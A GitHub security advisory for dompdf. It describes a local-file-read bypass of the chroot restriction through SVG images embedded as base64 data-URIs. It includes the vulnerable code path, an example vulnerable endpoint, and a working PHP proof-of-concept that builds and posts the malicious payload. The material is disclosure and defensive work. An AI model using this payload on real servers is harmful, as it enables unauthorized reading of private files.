MEDIUM

GHSA-cx96-42px-69fm

Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI

Quick fix

GHSA-cx96-42px-69fm — dompdf/dompdf: upgrade to the fixed version with the command below.

composer require dompdf/dompdf:^3.1.6

Details

**Description:** An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the `chroot` restriction. The vulnerability is exploitable in the default configuration. **Exploitation conditions:** An external user **Researcher:** Nikita Sveshnikov (Positive Technologies)

## Research dompdf restricts access to local files using the `chroot` mechanism. By default, `chroot` is set to the root directory of dompdf (`Options.php:350-351`):

_Listing 1. `chroot` settings_ ``` $rootDir = realpath(__DIR__ . "/../"); $this->setChroot(array($rootDir)); // result: chroot = ["/path/to/vendor/dompdf/dompdf"] ``` When the HTML references a local file, `Options::validateLocalUri()` checks that the path resides within `сhroot`. A direct link to the file outside this directory is correctly blocked:

_Listing 2. Blocking link_ ```  <img src="file:///tmp/secret.png"> ``` ### How the protection is bypassed: An attacker wraps the link to the target file in SVG format and delivers it via `data:` URI:

_Listing 3. Wrapping link in SVG_ ``` <img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0i..."> ``` Inside the base64 payload is an SVG containing the `<image>` element that points to the target file:

_Listing 4. Pointing to the target file_ ``` <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="589" height="415"> <image xlink:href="/tmp/secret.png" x="0" y="0" width="589" height="415"/> </svg> ``` ### Why the bypass works: The issue is that dompdf handles the SVG twice: first through its own validator and then via  `php-svg-lib` — and the second pass does not apply the protection that the first pass does.

**Step 1.** The `data://` protocol has no validation rules (`Options.php:546-547`):

_Listing 5. Lack of rules_ ``` case "data://": break; // no rules ```

SVG content passes without any checks.

**Step 2.** dompdf pre‑parses the SVG and validates the links inside it (`Cache.php:137-183`), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.

**Step 3.** When rendering, the PDF backend passes the SVG to `php-svg-lib` with external links enabled (`lib/Cpdf.php:6315-6319`):

_Listing 6. Passing the SVG_ ``` $doc = new \Svg\Document(); $doc->allowExternalReferences = true; // forced $doc->loadFile($file); ``` `php-svg-lib` is a separate library that has no information about the `chroot` directory or the dompdf validation rules.

**Step 4.** The `<image>` handler in `php-svg-lib` blocks only `phar://`, everything else is allowed when allowExternalReferences is true (`php-svg-lib/src/Svg/Tag/Image.php:60-68`):

_Listing 7. `phar://` blocking_ ``` if ($scheme === "phar" || ($this->document->allowExternalReferences === false && $scheme !== "data")) { return; } $this->document->getSurface()->drawImage($this->href, ...); ``` **Step 5.** `drawImage()` invokes `file_get_contents()` with no restrictions (`php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172`):

_Listing 8. `file_get_contents()` call_ ``` $data = file_get_contents($image); // reads ANY path ``` There is no chroot check. No protocol validation. The file is read and embedded into the PDF.

### An example of exploitation: _Listing 9. An example of a vulnerable code (html2pdf.php)_ ``` require_once __DIR__ . '/vendor/autoload.php';

$dompdf = new Dompdf\Dompdf(); $dompdf->loadHtml($_POST['html']); $dompdf->render(); $dompdf->stream('poc.pdf', ['Attachment' => false]); ```

_Listing 10. An example attack on the vulnerable code_ ``` $file = $_GET['file'] ?? '/tmp/user_files/user_1/private_image.png';

$svg = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="589" height="415">' . '<image xlink:href="' . htmlspecialchars($file, ENT_QUOTES) . '" x="0" y="0" width="589" height="415"/>' . '</svg>';

$html = '<html><body>' . '<img src="data:image/svg+xml;base64,' . base64_encode($svg) . '">' . '</body></html>';

$url = 'http://example.com/html2pdf.php'; $data = ['html' => $html]; $headers = ["Content-type: application/x-www-form-urlencoded"];

// use key 'http' even if you send the request to https://... $options = [ 'http' => [ 'header' => $headers, 'method' => 'POST', 'content' => http_build_query($data), 'ignore_errors' => true, ], ]; $context = stream_context_create($options); $response = file_get_contents($url, false, $context); ```

_Figure 1. The image was read successfully_ <img width="875" height="404" alt="image" src="https://github.com/user-attachments/assets/9a4ba3b7-df24-4c20-9dc4-55104ad905c2" />

## Credits Nikita Sveshnikov (Positive Technologies)

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Affected packages

Packagist / dompdf/dompdf

Introduced in: 0 Fixed in: 3.1.6

Fix composer require dompdf/dompdf:^3.1.6